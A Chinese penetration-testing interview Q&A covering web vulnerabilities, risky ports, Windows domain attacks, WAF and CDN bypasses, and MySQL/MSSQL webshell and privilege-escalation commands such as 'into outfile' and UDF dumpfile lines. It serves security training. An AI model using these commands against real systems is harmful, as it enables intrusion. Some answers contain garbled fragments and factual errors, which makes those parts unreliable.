扫码领资料
获网安教程
本文由掌控安全学院 - 艾克 投稿
来Track安全社区投稿~
千元稿费!还有保底奖励~( https://bbs.zkaq.cn)
基本面试问题
渗透测试的类型
⿊盒测试 测试⼈员没有任何系统信息 完全从外部攻击者的⻆度进⾏测试
⽩盒测试 测试⼈员具有完整的系统信息 包括架构图 源代码等 可以进⾏更深⼊的测试
灰盒测试 介于⿊盒和⽩盒之间 测试⼈员拥有部分系统信息
基础漏洞原理
**SQL注入:**开发人员对前端页面输入的内容没有做好严格过滤,导致前端用户可以将恶意的sql语句拼接到正常的sql语句带入后台数据库得以执行,从而达到攻击的目的。
**XSS:**网站/程序对前端用户的输入过滤不严格,导致攻击者可以将恶意的js/html代码注入到网页中,当其他用户浏览这些页面时,就会执行其中的恶意代码。
**XXE:**称为外部实体注入漏洞。XXE漏洞的形成主要是程序在解析XML文档输入时,没有禁止外部实体的加载,导致可加载外部的恶意文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站。
文件上传:应用程序存在上传功能,但是上传的文件没有经过严格的合法性校验或者校验函数存在缺陷,导致可以上传木马文件到服务器。
文件包含:程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
**SSRF:**形成的原因多是服务端提供了从外部服务获取数据的功能,但没有对目标地址、协议等主要参数进行过滤和限制,从而导致攻击者可以自由构造参数,发起恶意请求。
**CSRF:**利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作
**RCE:**RCE(Remote Code Execution)漏洞是指攻击者可以在远程系统上执行任意代码,从而完全控制该系统的漏洞。这种漏洞通常是由于输入验证不充分或其他安全问题导致的。
**PHP反序列化:**函数unserialize()以及一些常见的魔术方法,比如构造函数_construct(),析构函数_destruct(),_wakeup(),_toString(),_sleep()等等。如果这些函数在传递参数时没有进行严格的过滤措施,那么攻击者就可以构造恶意代码并将其序列化后传入函数中,从而导致反序列化漏洞。
HTTP状态码
200:客户端请求成功,是最常见的状态
302:重定向。
404:请求资源不存在,是最常见的状态。
401:请求未经授权。
400:客户端请求有语法错误,不能被服务器所理解。
403:服务器收到请求,但是拒绝提供服务
500:服务器内部错误,是最常见的状态。
503:服务器当前不能处理客户端的请求,一段时间后可能恢复正常。
常见服务端口号
20:FTP服务的数据传输端口
21:FTP服务的连接端口,可能存在 弱口令暴力破解
22:SSH服务端口,可能存在 弱口令暴力破解
23:Telnet端口,可能存在 弱口令暴力破解
25:SMTP简单邮件传输协议端口,和 POP3 的110端口对应
43:whois服务端口
53:DNS服务端口(TCP/UDP 53)
67/68:DHCP服务端口
69:TFTP端口,可能存在弱口令
80:HTTP端口,常见web漏洞
88:Kerberos协议端口
110:POP3邮件服务端口,和SMTP的25端口对应
135:RPC服务
137/138: NMB服务
139:SMB/CIFS服务
143:IMAP协议端口
161/162: Snmp服务,public弱口令
389:LDAP目录访问协议,有可能存在注入、弱口令,域控才会开放此端口
443:HTTPS端口,心脏滴血等与SSL有关的漏洞
445:SMB服务端口,可能存在永恒之蓝漏洞MS17-010
512/513/514:LinuxRexec服务端口,可能存在爆破
636:LDAPS目录访问协议,域控才会开放此端口
873:Rsync ,可能存在Rsync未授权访问漏洞,传送门:rsync 未授权访问漏洞
1080:socket端口,可能存在爆破
1099:RMI,可能存在 RMI反序列化漏洞
1352:Lotus domino邮件服务端口,可能存在弱口令、信息泄露
1414:IBM WebSphere MQ服务端口
1433:SQLServer对外提供服务端口
1434:用于向请求者返回SQL Server使用了哪个TCP/IP端口
1521:oracle数据库端口
2049:NFS服务端口,可能存在NFS配置不当
2181:ZooKeeper监听端口,可能存在 ZooKeeper未授权访问漏洞
2375:Docker端口,可能存在 Docker未授权访问漏洞
2601: Zebra ,默认密码zebr
3128: squid ,匿名访问(可能内网漫游)
3268:LDAP目录访问协议,有可能存在注入、弱口令
3306:MySQL数据库端口,可能存在 弱口令暴力破解
3389:Windows远程桌面服务,可能存在 弱口令漏洞 或者 CVE-2019-0708 远程桌面漏洞复现
3690:SVN服务,可能存在SVN泄漏,未授权访问漏洞
4440:Rundeck,弱口令admin
4560:log4j SocketServer监听的端口,可能存在 log4j<=1.2.17反序列化漏洞(CVE-2019-17571)
4750:BMC,可能存在 BMC服务器自动化RSCD代理远程代码执行(CVE-2016-1542)
4848:GlassFish控制台端口,可能存在弱口令admin/adminadmin
5000:SysBase/DB2数据库端口,可能存在爆破、注入漏洞
5432:PostGreSQL数据库的端口
5632:PyAnywhere服务端口,可能存在代码执行漏洞
5900/5901:VNC监听端口,可能存在 VNC未授权访问漏洞
5984:CouchDB端口,可能存在 CouchDB未授权访问漏洞
6379:Redis数据库端口,可能存在Redis未授权访问漏洞,传送门:Redis未授权访问漏洞
7001/7002:Weblogic,可能存在Weblogic反序列化漏洞,传送门:Weblogic反序列化漏洞
7180:Cloudera manager端口
8000:JDWP,可能存在JDWP远程代码执行漏洞。
8069:Zabbix服务端口,可能存在Zabbix弱口令导致的Getshell漏洞
8080:Tomcat、JBoss,可能存在Tomcat管理页面弱口令Getshell,JBoss未授权访问漏洞,传送门:Tomcat管理弱口令页面Getshell
8080-8090:可能存在web服务8089:Jetty、Jenkins服务端口,可能存在反序列化,控制台弱口令等漏洞
8161:Apache ActiveMQ后台管理系统端口,默认口令密码为:admin:admin ,可能存在CVE-2016-3088漏洞,传送门:Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)
9000:fastcgi端口,可能存在远程命令执行漏洞
9001:Supervisord,可能存在Supervisord远程命令执行漏洞(CVE-2017-11610),传送门:Supervisord远程命令执行漏洞(CVE-2017-11610)
9043/9090:WebSphere,可能存在WebSphere反序列化漏洞
9200/9300:Elasticsearch监听端口,可能存在 Elasticsearch未授权访问漏洞
10000:Webmin-Web控制面板,可能存在弱口令
10001/10002:JmxRemoteLifecycleListener监听的,可能存在Tomcat反序列化漏洞,传送门:Tomcat反序列化漏洞(CVE-2016-8735)
11211:Memcached监听端口,可能存在 Memcached未授权访问漏洞
27017/27018:MongoDB数据库端口,可能存在 MongoDB未授权访问漏洞
50000:SAP Management Console服务端口,可能存在 运程命令执行漏洞。
50070:Hadoop服务端口,可能存在 Hadoop未授权访问漏洞
61616:Apache ActiveMQ服务端口,可能存在 Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现
60020:hbase.regionserver.port,HRegionServer的RPC端口60030:hbase.regionserver.info.port,HRegionServer的http端口
TCP三次握手和四次挥手
1)三次握手
-
• 第一次握手:客户端向服务器发送一个 SYN(同步)标志的数据包,请求建立连接。 -
• 第二次握手:服务器收到客户端发送的 SYN 数据包后,会发送一个 SYN+ACK(同步+确认)标志的数据包,表示已收到客户端的请求,并同意建立连接。 -
• 第三次握手:客户端收到服务器发送的 SYN+ACK 数据包后,会向服务器发送一个 ACK(确认)标志的数据包,表示已收到服务器的确认,连接建立成功。
2)四次挥手
-
• 发起端发送一个FIN报文,表示自己已经没有数据要发送了,但是仍然可以接收数据。 -
• 接收端收到FIN报文后,发送一个ACK报文作为回应,表示已经收到发起端的FIN报文。 -
• 接收端发送一个FIN报文,表示自己已经没有数据要发送了,并且已经全部接收完发起端的数据。 -
• 发起端收到FIN报文后,发送一个ACK报文作为回应,表示已经收到接收端的FIN报文,并进入TIME_WAIT状态,等待2MSL(最长报文段寿命)时间后才结束连接。
OSI七层模型
物理层 数据链路层 网络层 传输层 会话层 表示层 应用层
请说一下 TCP 和 UDP 的区别
TCP(传输控制协议)和 UDP (用户数据报协议)都是传输层的主要协议,它们在 数据传输方式和特性上有一些主要的不同。
-
1. 可靠性:TCP 提供一种面 向连接、可靠的字节流服务。当数据从源发送到 目的地时,TCP 会通过握 手协议,确认消息、误差检查和拥塞控制等方 式,确保数据的正确无误。相反,U DP 给它的数据发送出去,但并不能保证数据的正确性和完整性。 -
2. 连接:TCP 是面向连接的 ,也就是说在数据传输前,需要先建立连接,然 后才能开始数据传输。而 UDP IP 端口号,就可以直接发送数据。 -
3. 传输速度:由于 TCP 需要 进行握手、确认和流量控制,所以相比于 UDP, TCP 的传输速度可能会稍 慢一些。因此,对于那些需要实时性、但可以容 忍一定数据丢失的应用,如视频流或在线游戏,通常会选择使用 UDP。 -
4. 有序性:TCP 会在发送端 对数据包进行排序,并确保它们在接收端能恢复 到发送顺序。而 UDP 则是按照接收顺序处理数据包,无法保证数据包的顺序。 -
5. 拥塞控制:TCP 而 UDP 没有这种机制,它可以自动调整发送速度以防止网络过载。而UDP没有这种机制 -
6. 头部开销:TCP 的头部开销比较大,有 20 字节,因为它包含了许多用于实现上述特性的控制信息,而 UDP 的头部开销小,只有 8 字节,因此更加轻量级。
请说一下 session 和 cookie的区别
Session Cookie 都是用来跟踪浏览器用户身份与数据的技术,但它们在实现方式 和特性上有一些主要的区别。 存储位置:Cookie 数据存储在客户端,也就是浏览 器上,每当浏览器请求网页时,就会自动将 Cookie 数据发送给服务器。而 Session 数据存储在服务器上,当 浏览器请求网页时,服务器就会创建一个 Session,并将 Session ID 反馈给浏览器,浏览器将 Session ID Cookie 并用于后续请求。 存储大小:Cookie 的大小受到严格限制,它的大小通常限制在 4KB 以内。而 Session 则是存储 在服务器端,其大小只受到服务器内存大小的限 是无连接的,它只是把应用程序传是无连接的,它只需知道接收方的地址和字节,因此更加轻cookie和用方式保存制。 有效期:Cookie 可以设置其有效期,到期之后 Cookie 就会自动失效。如果没 有设置有效期,Cookie 会在浏览器关闭时失效。 而 Session 的生命周期取决于会 话,当用户从浏览器关闭网页或者手动清除 Session 后,Session 就会失效。数据 类型:Cookie 只支持字符串数据类型。Session 则可以支持任何数据类型,比如字 符串、列表、字典等。安全性:由于 Cookie 存储在客户端,因此有被篡改或者盗 用的风险。而 Session 存储在服务器端,相对来说安全性较高,但过多的 Session 会消耗服务器性能。
请说一下 get 和 post 的区别
GET 和 POST 都是 HTTP 协议中常用的两种请求方法
1.数据位置:GET 请求的数据会附在 URL 之后,通过查询字符串传递,形式如: http://www.example.com?name=value。 而 POST 请求的数据则放在 HTTP 请求体中。
2.数据大小:由于 GET 请求的数据附在 URL 上,因此数据大小会受到 URL 长度的限制。为了保证兼容性,一般最大长度为 2048 字节。而 POST 请求的数据 则存储在请求体内,理论上数据量无限制,取决于服务器的处理能力。
3.数据类 型:GET 请求只能为 ASCII 字符。而 POST 请求没有限制,支持二进制数据。
4.安全性:由于 GET 请求的数据在 URL 中对外暴露,因此相对不太安全,不适合传 输敏感信息,如密码、银行卡号等。 而 POST 请求的数据存放在请求体中,相对 更为安全。
5.缓存和收藏:GET 请求的 URL 可以被浏览器缓存,也可以添加到书 签中。由于 POST 请求的数据在 请求体中,因此无法被缓存或添加到书签。 6.幂等性:GET 请求是幂等的,也就是说多次请求相同的资源,结果也是一致的。 而 POST 由于每次请求都会向服务器提交数据,可能会产生不同的结果。
7.应用场 景:GET 一般用于获取/ 查询资源信息,而 POST 一般用于更新资源信息。
了解过 httponly 吗
HttpOnly 是一项 HTTP Cookie 的属性配置,通过它可以防止跨站脚本攻击(XS 的一种方式。如果将 cookie 标记为 HttpOnly,那么通过客户端脚本(如 JavaScript)将无法访问到这个 cookie,只有在 HTTP 请求头中才会发送 cookie 到 服务器。通常在设置 cookie 时,可以在 cookie 的属性中加上 HttpOnly:Set-Cookie: key=value; HttpOnly这样就能设定一个HttpOnly 的 cookie了。总的来说,这是一项非常有用的安全设置,尤其是对于存储敏感信息的 cookie(如认证信息)来说。
请说一下 ARP 欺骗原理及防护
ARP 欺骗攻击,又称 ARP 缓存投毒攻击,是一种常见的局域网攻击手段。 原理: ARP(地址分辨协议)是网络通信中用来将 IP 地址映射到物理(MAC)地址的协 议。然而,ARP 请求和响应都没有什么安全机制可以防止被伪造或篡改,这就是ARP 欺骗攻击可以成功的原因。对于 ARP 欺骗,一个典型的情景是:攻击者在局 域网中发送伪造的 ARP 响应,比如告诉 192.168.1.1(通常是网关)的 MAC 地址 是他自己的 MAC。然后计算机就会把目标 IP 地址的所有流量发送到这个虚假的 MAC 地址上,也就是发给了攻击者。 防护:
-
1. 静态 ARP 表:静态 ARP 表是手动设置的,它可以绑定 IP 地址和 MAC 地 址。这种方式可以防止 ARP 欺骗,但是并不适合大规模的网络环境,因为 手动设置和维护成本较高。 -
2. ARP 防护工具:有一些专门的 ARP 防护工具能用来防范这种攻击,比如 ARP 防火墙,它们能够监控和控制 ARP 请求和响应。 -
3. 网络设备的 ARP 欺骗防御功能:许多现代的路由器和交换机都有 ARP 欺骗 防御功能,比如动态 ARP 检查,可以防范这种攻击。
请简单说一下同源策略
同源是指:比如说两个网站的协议头,域名和端口号相同那么它们就属于同源。同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况 下,不能读取对方的资源。但同时,为了允许不同源之间的合法和有益的交互,也 有一些方法来绕过同源策略,例如 JSONP、CORS (跨来源资源共享)等。
SVN/GIT 源代码泄露
SVN/Git 是两种常见的版本控制系统,通常被用来管理软件项目的源代码。当一个 项目的 SVN 或 Git 目录被错误地上传到生产服务器上,或者开发人员在生产环境 中使用版本控制,并且没有正确地配置访问控制时,就可能会导致源代码泄露问 题。 最普遍的原因是:.git 或.svn 目录被误包含在部署到线上服务器的应用中,这 样任何人都可以通过简单的 URL 导航来访问这些目录,下载到包含源代码的文件 或者项目历史记录等敏感信息。 为了防止 SVN/Git 源代码泄露,上线前务必确认 把.git 或.svn 目录排除在打包之外,或者彻底删掉。此外,在服务器级别也要进行 配置,禁止用户访问.git 或.svn 这样的隐藏目录。
请说几种电商网站常见逻辑漏洞
常见的有:
1.权限验证缺失:若网站对用户身份校验不严,可能导致越权操作,比如未登 录用户能够访问到应该登录才能看到的页面,或普通用户可以访问到管理员 界面等。2.价格篡改:没有对价格进行验证或者在服务器端没有进行二次校验,就可能 导致用户在提交订单时篡改价格。3.优惠券或积分系统漏洞:比如优惠券的滥用,或者积分的反复兑换,这类问 题如果设计不当,可能会给电商网站带来巨大的经济损失。4.库存数目验证不严:用户可能通过同时提交多个相同商品的订单,以超过库 存的数量购买,导致虚假售罄。5.重复下单问题:某些电商网站在用户提交订单后,没有做有效的状态检查, 从而导致用户可以重复提交同一订单,可能导致库存冲突甚至重复扣款。6.支付逻辑漏洞:如在用户支付过程中,存在跳过支付步骤直接修改订单为已 支付状态的情况。
请说一下 NTML 原理
NTLM,全名为 NT LAN Manager,是一种微软 Windows 环境下的身份验证协议, 它通过挑战/响应的方式允许用户向服务器证明身份。 以下是 NTLM 非交互式认证 的过程:
-
1. 挑战:首先,当客户端请求访问服务器上的受保护资源时,服务器会给客户 端发送一个挑战,也就是一个随机生成的数。 -
2. 响应:客户端收到挑战后,会使用用户的 NTLM Hash(即用户密码的 MD4 散列值,存储在本地),对挑战进行特定的加密运算,然后把得到的响应发 送回到服务器。 -
3. 验证:服务器接收到响应后,会用同样的挑战和服务器上存储的相同用户名 的 NTLM Hash 进行同样的加密运算,得到一个结果。然后服务器会比较这 个结果和客户端返回的响应,如果一致,则验证成功,否则验证失败。需要注意的是,这个流程中,用户的密码(即 NTLM Hash)在网络传输中并未明 文传输,而是经过加密运算后的响应,这在一定程度上提高了安全性。但和其他现 代的身份验证协议相比,NTL M 协议存在一些脆弱性,比如容易受到字典攻击、暴 力破解以及重放攻击等。最后,进行代码审计和安全测试,以便发现和修复可能会被攻击者利用的漏 洞。
请问一下 PTH 中使用 AES 密钥进行 hash 传递攻击的前提条件是什么?
在 PTH(Pass the Hash)攻击中,使用 AES 密钥进行 hash 传递的条件主要有以下 几点:
-
1. 目标系统支持 AES 加密:目标系统或服务需要支持 AES 加密方式。 -
2. 获取到 AES 密钥:在进行 PTH 攻击时,需要首先获取到适当的 AES 密钥, 这可能需要对目标进行权限提升或通过其他漏洞获取。 -
3. 获取到目标用户的 Hash 值:进行攻击时,不需要知道用户的实际密码,只 需获取用户的 Hash 值。 -
4. 具有网络访问权限:攻击者需要有权限访问网络并且能与目标系统进行通 信,以便于传递 hash。
请说一下psexec和wmic区别
PsExec 是 Sysinternals 套件的一部分,由微软提供。PsExec 的工作方式是通过在 目标系统上创建服务来执行命令。其基本原理是通过IPC共享。使用PsExec的优 点是它能够执行复杂的命令和脚本,而且可以在权限足够的情况下用系统账户执 行。然而,它的缺点是需要较高的权限(通常需要管理员权限),并且可能会在目 标系统上留下痕迹(例如日志),容易被防病毒软件和IDS/IPS检测到。WMIC (WindowsManagementInstrumentation Command-line)则使用 WMI(Windows Management Instrumentation)来执行命令。WMI 是一系列工具集,可以在本地 或者远程管理计算机系统。它没有在目标系统上创建服务,而是直接在WMI接口 上执行命令。使用WMIC的优点是它无需在目标系统上创建文件或服务,这使得 其在进行横向移动或者在被高度监视的网络中进行操作时更难被检测到。然而,它 可能需要特定的WMI权限,并且可能不支持那些需要交互或者复杂输入的命令。
PTT是什么?有哪些攻击方法
PTT(PassTheTicket)是一种基于Kerberos 认证的攻击方式,常用于权限维持和内网渗透。以下是一些常见的PTT攻击方法:
1.票据窃取和重用:在PTT攻击中,攻击者首先需要获取一个有效的Kerberos票 据,这通常可以通过某些形式的窃取或者利用漏洞完成。一旦获取了票据,攻击者 可以在网络中作为该用户身份进行移动。
2.黄金票据攻击:如果攻击者能够获取到 域内krbtgt 用户的NTLM 哈希或AES-256 的密钥,那么他们可以生成所谓的"黄 金票据"。这种票据赋予了攻击者域管理员的权限,而且它的有效期非常长,可以 超过默认的最大票据生命周期。
3.使用工具进行PTT攻击:一些工具,如 Mimikatz 和 Impacket,提供了进行PTT 攻击的功能。例如,Mimikatz 可以用来 窃取并使用Kerberos 票据;Impacket 中的goldenPac 模块可以用来进行黄金票据 攻击。
DCSync的利用条件有哪些
DCSync 是一种攻击技巧,被设计用于WindowsActiveDirectory 环境在域内复制 数据。使用DCsync,攻击者可以冒充域控制器,发起同步请求,获取其他用户的 密码哈希。请注意,DCSync的使用需要满足特定的条件:
1.管理员权限:默认情况下,只有Administrators组、DomainControllers组以及 Enterprise Domain Admins 组内的用户才有权限使用DCSync。
2.特殊权限:除了 以上途径,也可以通过在访问控制列表(ACL)中给普通用户添加指定权限(例如 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All),让其得以使用 DCSync。
请详细讲一下ACL
ACL 是访问控制列表,它是一种用于确保网络安全的技术,主要基于用户(或用 户组)、网络地址、或者服务类型来限制通信。它的主要作用就是决定哪些用户可 以访问或者操作某一资源。
ACL的类型:
•基于访问源的ACL(Source-BasedACL):根据数据包的源IP 地址进行访问控 制。
•基于访问目标的ACL(Destination-BasedACL):根据数据包的目标IP 地址 进行访问控制。
•基于服务类型的ACL:根据所用的顶层协议,如TCP、UDP或 ICMP 进行访问控制。
ACL 的基本组成:
一个ACL通常由多个访问控制条目(AccessControlEntry, ACE)组成,每个ACE包括:
•主体:定义了这个规则适用的用户或用户组。
•对象:确定了可以被主体访问或操 作的资源。
•权限:说明了主体对对象可以执行的动作,如读(read)、写 (write)、执行(execute)等。
ACL在日常生活中的一般应用场景包括:
对网络设备设置远程管理权限、设置网络 设备的转发策略、在防火墙规则中进行详细的访问控制等。
如何绕过CDN查真实IP
-
1. 多地ping看是否有cdn -
2. 邮件订阅或者rss订阅 -
3. ⼆级域名可能不会做cdn -
4. nslookup http://xxx.com 国外dns -
5. 查找域名历史解析记录,因为域名在上CDN之前⽤的IP,很有可能就是CDN的真实源IP地址 -
6. phpinfo上显示的信息 -
7. cloudflare github可以获取真实IP -
8. ⼀个⽹站有icon 可以根据icon hash 来查找真实IP -
9. ⼦域名绑定 测试⼦域可能回源 -
10. SSL证书信息 检查SSL证书的详细信息 有时候会包含原始IP地址信息
密码学的对称密码和非对称密码
对称密码 使⽤相同的密钥进⾏数据的加密和解密 例如AES和DES
⾮对称密码 使⽤⼀对密钥 即公钥 和私钥 公钥⽤于加密数据 私钥⽤于解密 常⻅的⾮对称加密算法包括RSA和ECDSA
对钓鱼邮件的了解
钓⻥邮件是⼀种社会⼯程技巧 ⽤于诱导邮件接收者点击恶意链接 下载附件或提供敏感信息 如⽤ 户名 密码和银⾏账号等 这些邮件通常伪装成来⾃可信来源的正式通信 以诱骗⽤户执⾏上述危险操作
什么叫CC攻击
CC攻击 Challenge Collapsar攻击 通常指的是⼀种分布式拒绝服务攻击 DDoS 其中攻击者 利⽤多个被控 制的系统同时向⽬标发送⼤量请求 ⽬的是消耗⽬标资源⾄崩溃 CC攻击主要是通 过⼤量并发连接请求来实现
使用过那些设备?出现误报怎么办?
我使用过的设备包括各种防火墙、入侵检测(IDS)、入侵防御(IPS)、安全信息和事件管理(SIEM)等系统。在遇到误报时,我通常会首先确认这是一个真正的误报、而不是对系统的实际威胁。确认后,我会分析误报产生的原因,这可以包括查看规则配置、检查硬件和软件是否存在漏洞等。然后依据我所分析的结果,调整设备设置或是规则以避免在未来再发生同样的误报。在这个过程中,我们还需要再一段时间内继续监视该设备,确认新的设置和规则是否有效。
安全设备会出现误报的原因有哪些?
规则配置不当、威胁情报不准确、设备漏洞或缺陷、用户正常活动、软件或服务更新等。
安全设备出现误报后,如何辨别真是威胁并采取有效措施?
当安全设备产生误报时,首先,我们需要进行威胁验证,这包括分析报警的详细信 息、审计日志、流量数据等,以确认是否真的存在威胁。如果经过初步验证,确定 这是一个误报,那么我们可以根据设备产生误报的原因调整设备或规则配置,优化 设备的威胁识别能力,减少误报。如果在验证过程中,证实这是一个真实的威胁, 那么我们需要及时响应,阻止威胁的进一步发展。这可能包括隔离受影响的系统、 修复漏洞、更改账户凭证等措施,以确保网络环境的安全。对于持续出现的误报, 我们还需要进行更深入的调查和分析。可能需要重新考虑我们的威胁模型,或者寻 求新的解决方案来改进误报问题。在这个过程中,可能需要与设备供应商或其他专 业团队进行合作来解决这个问题。
为何一个 mysql 数据库的站,只有一个 80 端口开放
1.可能使用了站库分离,使网站和数据库分布在不同的服务器上,在这种配置中, 数据库服务器不会直接对 Internet 开放,而是只向运行网站的服务器开放,从而 提高了安全性。网站服务器将用户请求的数据从数据库服务器获取,并生成 HTML 页面展示。
2.可能更改了端口,没有扫描出来。3.3306 端口对外不开放,由于防火墙阻止,只允许来自特定 IP 地址的访问,或者在特定情况下才会打开。
请说几种 sql 注入绕过 waf 的方法
各种编码绕过(url/ 二次编码/base64 等)/大小写混合/空格过滤绕过/使用+ 替换空 格/双写绕过/内联注释绕过( 如果在开头的的/后头加了感叹号 (/!50001sleep(3)/),那么此注释里的语句将被执行)/分块编码传输/ 也可以是使 用 sqlmap 中合适的 tamper 脚本
SQL注入在MySQL和SQL Server中有什么区别
SQL注⼊的基本原理在不同的数据库管理系统,如MySQL和SQL Server 中是相似的,都是通过将不当输⼊,插⼊到SQL命令中以欺骗数据库执⾏⾮预期的命令,然⽽由于这些系统的SQL语法和内部功能的差 异 具 体的注⼊技术和有效的利⽤⽅式可能有所不同 MySQL ⽀持⼀些独特的SQL语法和函数 ⽐如可以利⽤ LOAD_FILE()来读取服务器⽂件 如果权限设 置不当的话 SQL Server 有不同的系统存储过程和功能 如可以利⽤ xp_cmdshell来执⾏操作系统命令 如果该功 能被启⽤且攻击者拥有⾜够权限的话
目前防御SQL注入的方式有哪些
除了之前提到的预处理语句和输⼊验证之外 防御SQL注⼊还包括 使⽤Web应⽤防⽕墙 WAF WAF可以配置规则来识别和阻挡SQL注⼊攻击 安全编码培训 教育开发⼈员关于安全编码的最佳实践 减少编码错误 定期的代码审查和安全测试 通过⾃动和⼿动检查来识别潜在的安全漏洞 使⽤最少权限原则 确保数据库账户只具有完成其功能所必需的最少权限
SQLserver提权 xp_cmdshell提权
xp_cmdshell是Sql Server中的⼀个组件,可以⽤来执⾏系统命令,在拿到sa⼝令之 后,经常可以通过xp_cmdshell来进⾏提权 前提: getshell或者存在sql注⼊并且能够执⾏命令。 sql server是system权限,sql server默认就是system权限
MySQL写shell的问题
-
1. 写shell⽤什么函数? - select '<?php phpinfo()> into outfile 'D:/shelltest.php'
-dumpfile
10
-
• file_put_contents
-
2. outfile不能⽤了怎么办? select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
可以UDF提权https://www.cnblogs.com/milantgh/p/5444398.html -
3. dumpfile和outfile有什么不⼀样?outfile适合导库,在⾏末尾会写⼊新⾏并转义,因此不能写⼊⼆进制可执⾏⽂件。 -
4. sleep()能不能写shell?=5. 写shell的条件? - ⽤户权限- ⽬录读写权限- 防⽌命令执⾏: disable_functions
,禁⽌了disable_functions=phpinfo,exec,passthru,shell_exec,system,proc_ope n,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
,但是可以⽤dl扩展执⾏命令或者ImageMagick漏洞https://www.waitalone.cn/imagemagic-bypass-disable_function.htmlopen_basedir: 将⽤户可操作的⽂件限制在某⽬录下
mysql写shell的条件
-
1. ⽹站可访问路径的绝对路径 -
2. secure_file_priv 的值⾮NULL或包含了导出的绝对路径secure_file_priv的值在mysql配置⽂件my.ini中设置,这个参数⽤来限制数据导⼊导出Mysql>=5.5.53 默认为NULL,即默认禁⽌导⼊导出Mysql<5.5.53 默认为空,即默认⽆限制 -
3. mysql服务有对⽹站可访问路径的写权限 -
4. mysql连接⽤户有FILE权限/ROOT⽤户或ROOT权限 -
5. GPC关闭//未对闭合⽤的引号转义outfile 和 dumpfile的路径不⽀持hex,必须有引号包裹mysql⽇志写shell 与导出函数写Shell相⽐,规避了 secure_file_priv 的限制 -
6. ⽹站可访问路径的绝对路径 -
7. mysql服务有对⽹站可访问路径的写权限 -
8. mysql连接⽤户有权限开启⽇志记录和更换⽇志路径/ROOT权限 -
9. GPC关闭/未对闭合⽤的引号转义虽然⽇志路径可以hex编码,但被记⼊⽇志的查询语句中的shell内容需要引号包裹,加后传到数据库执⾏会报错,⽆法记录进⽇志root权限GPC 关闭(能使⽤单引号),magic_quotes_gpc=On有绝对路径(读⽂件可以不⽤,写⽂件必须)没有配置secure-file-priv成功条件:有读写的权限,有 create、insert、select 的权限
Mysql几种提权方式
Mysql_UDF 提权 利⽤了root⾼权限,创建带有调⽤ cmd 的函数的 udf.dll 动态链接库, 导出 udf.dll ⽂件后,我们就可以直接在命令框输⼊ cmd 限制条件: 1.-MySQL 数据库没有开启安全模式(确认secure_file_priv=''是否为空) 2.-已知的数据库账号具有对MySQL数据库insert和delete的权限,最好是root最⾼权限。 3.-shell有写⼊到数据库安装⽬录的权限。 MOF提权: MOF提权是⼀个有历史的漏洞,基本上在Windows Server 2003的环境下才可以成功。提权的原 理是C:/Windows/system32/wbem/mof/⽬录下的mof⽂件每隔⼀段时间(⼏秒钟左右)都会被 系统执⾏,因为这个 MOF ⾥⾯有⼀部分是 VBS脚本,所以可以利⽤这个VBS脚本来调⽤CMD来 执⾏系统命令,如果 MySQL有权限操作 mof ⽬录的话,就可以来执⾏任意命令了。
mssql写shell绕过
xp_cmdshell不可⽤了,还是有可能在服务器上运⾏CMD并得到回显结果的,这⾥要⽤到SQL服务 器另外的⼏个系统存储过程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服务 器上的Wscript.shell和Scripting.FileSystemObject可⽤。 先在SQL Server 上建⽴⼀个Wscript.Shell,调⽤其run Method,将cmd.exe执⾏的结果输出到⼀ 个⽂件中,然后再建⽴⼀个Scripting.FileSystemObject,通过它建⽴⼀个TextStream对象,读出 临时⽂件中的字符,⼀⾏⼀⾏的添加到⼀个临时表中。
MySQL的用户名密码是存放在哪张表里面
MySQL密码采⽤哪种加密⽅ 式 MySQL数据库的⽤户名和密码存储在 mysql.user表中 从MySQL 5.7及更⾼版本开始 密码采⽤ SHA-256加密算法 具体实现为 caching_sha2_password 在⼀些旧版本中 密码使⽤ mysql_native_password插件 该插件基于SHA-1
XSS
原理: 通过插⼊恶意脚本,实现对⽤户浏览器的攻击类型: 存储、反射、dom反射和dom的区别: DOM-XSS是javascript处理输出, ⽽反射性xss是后台程序处理XSS绕过: ⼤⼩写,js伪协议,没有分号,Flash,Html5新标签 ,Fuzz进⾏测试 ,双层标签绕过修复防御:
-
1. 对输⼊内容的特定字符进⾏编码,例如表示html标记的 < > 等符号。 -
2. 对重要的cookie设置httpOnly, 防⽌客户端通过document.cookie读取 cookie,此HTTP头由服务端设置。 -
3. 将不可信的值输出URL参数之前,进⾏URLEncode操作,⽽对于从URL参数中获取值⼀定要进⾏格式检测(⽐如你需要的时URL,就判读是否满⾜URL格式)。 -
4. 不要使⽤Eval来解析并运⾏不确定的数据或代码,对于JSON解析请使⽤ JSON.parse()⽅法。
XSS的几种类型及漏洞原理
跨站脚本 XSS 主要有三种类型反射型XSS 这种XSS攻击通过⽤户的输⼊ 如通过URL参数 直接反射到⻚⾯上 通常需要⽤户的交互如点击链接来触发存储型XSS 此类攻击将恶意脚本保存在⽬标服务器上 如数据库 消息论坛 访客⽇志等当其他⽤户访问存储这些脚本的⻚⾯时 脚本会被执⾏DOM型XSS 这种类型的攻击是通过客户端脚本 如JavaScript 来修改DOM的⽅式实现的 不涉及服务器端的脚本处理漏洞原理通常是由于Web应⽤程序没有正确地过滤⽤户的输⼊ 允许注⼊未经过滤的HTML或JavaScript代码这些代码可以在其他⽤户的浏览器中执⾏
XSS 能用来做什么
XSS可以⽤于多种恶意⽬的 包括但不限于窃取Cookies 攻击者可以利⽤XSS窃取其他⽤户的会话Cookies 进⽽冒⽤这些⽤户的身份会话劫持 通过获取或修改⽤户的会话令牌来控制⽤户的会话植⼊恶意软件 通过XSS植⼊恶意软件或其他恶意代码进⾏钓⻥攻击 修改⻚⾯内容或重定向⽤户到钓⻥⽹站 诱导⽤户提供敏感信息散布虚假信息 修改⽹站内容 显示错误或虚假信息
如何快速判定XSS类型?
